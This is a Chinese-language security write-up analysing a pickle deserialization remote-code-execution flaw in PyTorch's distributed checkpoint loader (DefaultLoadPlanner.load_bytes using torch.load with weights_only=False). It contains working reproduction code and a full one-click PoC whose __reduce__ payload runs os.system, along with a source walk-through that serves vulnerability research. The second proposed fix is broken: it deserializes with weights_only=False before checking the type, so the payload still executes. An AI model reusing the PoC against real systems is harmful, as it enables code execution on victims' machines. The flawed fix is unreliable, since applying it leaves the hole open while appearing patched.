PyTorch 分布式检查点 Pickle 反序列化 RCE 漏洞分析

漏洞描述

PyTorch 是 Meta 开发的深度学习框架，其分布式检查点（Distributed Checkpoint）模块用于在多 GPU/多节点训练场景中保存和加载模型状态。

漏洞成因：DefaultLoadPlanner.load_bytes() 方法使用 torch.load(weights_only=False) 反序列化检查点文件中的 BYTE_IO 类型数据。当 weights_only=False 时，torch.load() 内部使用 Python 的 pickle 模块进行反序列化，而 pickle 在反序列化带有 __reduce__() 方法的对象时会自动调用该方法，允许攻击者执行任意 Python 代码。

环境搭建

python -m pip install torch

漏洞复现

创建恶意检查点

首先创建一个包含恶意负载的类，该类在被 pickle 反序列化时会执行 __reduce__() 方法中的代码：

import os
import torch
import io
from pathlib import Path

class MaliciousPayload:
    def __reduce__(self):
        return (os.system, ('echo "RCE_VIA_TORCH_LOAD" && touch /tmp/torch_load_pwned',))

# 将恶意对象序列化为 BytesIO
malicious_bytes = io.BytesIO()
torch.save(MaliciousPayload(), malicious_bytes)
malicious_bytes.seek(0)

构造检查点文件结构

将恶意数据写入 .distcp 文件，模拟分布式检查点的存储格式：

import tempfile

checkpoint_dir = tempfile.mkdtemp(prefix="pytorch_dist_")
distcp_file = Path(checkpoint_dir) / ".0.distcp"

with open(distcp_file, 'wb') as f:
    f.write(malicious_bytes.getvalue())

触发漏洞加载

使用 DefaultLoadPlanner.load_bytes() 加载恶意检查点：

from torch.distributed.checkpoint import DefaultLoadPlanner
from torch.distributed.checkpoint.planner import ReadItem, LoadItemType
from torch.distributed.checkpoint.metadata import MetadataIndex

planner = DefaultLoadPlanner(flatten_state_dict=False)
planner.state_dict = {}

dest_index = MetadataIndex(fqn="malicious_key")
storage_index = MetadataIndex(fqn="malicious_key")

read_item = ReadItem(
    type=LoadItemType.BYTE_IO,
    dest_index=dest_index,
    dest_offsets=torch.Size([]),
    storage_index=storage_index,
    storage_offsets=torch.Size([]),
    lengths=torch.Size([])
)

with open(distcp_file, 'rb') as f:
    value = io.BytesIO(f.read())

planner.load_bytes(read_item, value)

执行结果：

RCE_VIA_TORCH_LOAD

检查恶意文件是否创建：

ls -la /tmp/torch_load_pwned
/tmp/torch_load_pwned

RCE 成功，恶意代码被执行，文件 /tmp/torch_load_pwned 被创建

一键利用 PoC

#!/usr/bin/env python3
import os
import io
import tempfile
from pathlib import Path
import torch
from torch.distributed.checkpoint import DefaultLoadPlanner
from torch.distributed.checkpoint.planner import ReadItem, LoadItemType
from torch.distributed.checkpoint.metadata import MetadataIndex

class MaliciousPayload:
    def __reduce__(self):
        return (os.system, ('echo "RCE_VIA_TORCH_LOAD" && touch /tmp/torch_load_pwned',))

checkpoint_dir = tempfile.mkdtemp(prefix="pytorch_dist_")
distcp_file = Path(checkpoint_dir) / ".0.distcp"

malicious_bytes = io.BytesIO()
torch.save(MaliciousPayload(), malicious_bytes)
malicious_bytes.seek(0)

with open(distcp_file, 'wb') as f:
    f.write(malicious_bytes.getvalue())

planner = DefaultLoadPlanner(flatten_state_dict=False)
planner.state_dict = {}

read_item = ReadItem(
    type=LoadItemType.BYTE_IO,
    dest_index=MetadataIndex(fqn="key"),
    dest_offsets=torch.Size([]),
    storage_index=MetadataIndex(fqn="key"),
    storage_offsets=torch.Size([]),
    lengths=torch.Size([])
)

with open(distcp_file, 'rb') as f:
    planner.load_bytes(read_item, io.BytesIO(f.read()))

if os.path.exists('/tmp/torch_load_pwned'):
    print("[+] RCE 成功!")

漏洞分析

创建恶意检查点代码分析

文件位置: torch/distributed/checkpoint/default_planner.py

class DefaultLoadPlanner(LoadPlanner):
    def __init__(
        self,
        flatten_state_dict: bool = True,
        flatten_sharded_tensors: bool = True,
        allow_partial_load: bool = False,
    ) -> None:
        self.flatten_state_dict = flatten_state_dict
        self.flatten_sharded_tensors = flatten_sharded_tensors
        self.original_state_dict = {}
        self.mappings = {}
        self.allow_partial_load = allow_partial_load

    def set_up_planner(
        self,
        state_dict: STATE_DICT_TYPE,
        metadata: Metadata | None = None,
        is_coordinator: bool = False,
    ) -> None:
        _init_state_dict(state_dict)
        self.original_state_dict = state_dict

        if self.flatten_sharded_tensors:
            state_dict = _flatten_sharded_tensors(state_dict)

        if self.flatten_state_dict:
            state_dict, self.mappings = flatten_state_dict(state_dict)

        self.state_dict = state_dict
        self.metadata = metadata
        self.is_coordinator = is_coordinator

我们可以创建的恶意类通过 __reduce__() 方法定义了反序列化时的行为。当 pickle 反序列化该对象时会自动调用 callable(*args)。我们使用 os.system 作为可调用对象，执行任意 shell 命令。

torch.save() 内部使用 pickle.dump() 将对象序列化，恶意类被序列化成包含 __reduce__ 信息的 pickle 数据流。这个数据流随后被写入检查点文件。

构造检查点文件结构代码分析

文件位置: torch/distributed/checkpoint/filesystem.py

class FileSystemReader(StorageReader):
    def __init__(self, path: Path) -> None:
        self.path = path
        self.storage_data: dict[MetadataIndex, _StorageInfo] = {}
        self.fs = LocalFileSystem()

    def read_data(self, plan: LoadPlan, planner: LoadPlanner) -> Future[None]:
        per_file: dict[str, list[ReadItem]] = {}
        for read_item in plan.items:
            item_md: _StorageInfo = self.storage_data[read_item.storage_index]
            path = item_md.relative_path
            per_file.setdefault(path, []).append(read_item)

        for relative_path, reqs in per_file.items():
            new_path = self.fs.concat_path(self.path, relative_path)
            with self.fs.create_stream(new_path, "rb") as stream:
                for req in reqs:
                    item_md = self.storage_data[req.storage_index]
                    file_slice = self._slice_file(stream, item_md)
                    transform_from = self.transforms.transform_load_stream(
                        req,
                        item_md.transform_descriptors or (),
                        file_slice,
                    )

                    if req.type == LoadItemType.BYTE_IO:
                        read_bytes = io.BytesIO(transform_from.read(-1))
                        read_bytes.seek(0)
                        planner.load_bytes(req, read_bytes)

FileSystemReader.read_data() 是检查点加载的入口点。它从存储中读取检查点文件内容，根据 LoadPlan 中的 ReadItem 请求处理数据。

关键代码路径是 if req.type == LoadItemType.BYTE_IO: 分支。当数据类型为 BYTE_IO 时，代码将文件内容读取到 io.BytesIO 对象中，然后直接调用 planner.load_bytes(req, read_bytes)

这里没有任何对文件内容的验证或过滤，我们通过构造的恶意 pickle 数据传递给了 planner.load_bytes()

触发漏洞加载代码分析

文件位置: torch/distributed/checkpoint/default_planner.py

def load_bytes(self, read_item: ReadItem, value: io.BytesIO) -> None:
    if self.flatten_state_dict:
        set_element(
            self.original_state_dict,
            self.mappings[read_item.dest_index.fqn],
            torch.load(value, weights_only=False),  # 漏洞点
        )
    else:
        self.state_dict[read_item.dest_index.fqn] = torch.load(
            value, weights_only=False  # 漏洞点
        )

这是漏洞的 Sink 点。DefaultLoadPlanner.load_bytes() 接收来自 FileSystemReader 的 BytesIO 数据，直接使用 torch.load(value, weights_only=False) 进行反序列化。

weights_only=False 参数是问题的关键。当设置为 False 时，torch.load() 允许反序列化任意 Python 对象，内部会调用 pickle.load()。pickle 在反序列化时会检查对象的 __reduce__() 方法，如果存在就自动执行，导致任意代码执行。

同一模块中对张量类型的加载使用了安全的方式：

# filesystem.py 中对张量的加载
tensor = cast(
    Tensor,
    torch.load(
        seekable,
        map_location="cpu",
        weights_only=True,  # 安全：只允许加载张量
    ),
)

漏洞修复

推荐将 weights_only 设置为 True

修复前：

def load_bytes(self, read_item: ReadItem, value: io.BytesIO) -> None:
    self.state_dict[read_item.dest_index.fqn] = torch.load(
        value, weights_only=False
    )

修复后：

def load_bytes(self, read_item: ReadItem, value: io.BytesIO) -> None:
    # 方案 1: 使用 weights_only=True
    self.state_dict[read_item.dest_index.fqn] = torch.load(
        value, weights_only=True
    )

    # 方案 2: 添加类型白名单验证
    obj = torch.load(value, weights_only=False)
    allowed_types = (torch.Tensor, dict, list, tuple, str, int, float)
    if not isinstance(obj, allowed_types):
        raise ValueError(f"不允许的类型: {type(obj)}")
    self.state_dict[read_item.dest_index.fqn] = obj

参考资料

• PyTorch Distributed Checkpoint 文档
• Python Pickle 安全性

免责声明

本报告仅用于安全研究和教育目的，作者不对任何滥用本报告内容造成的后果负责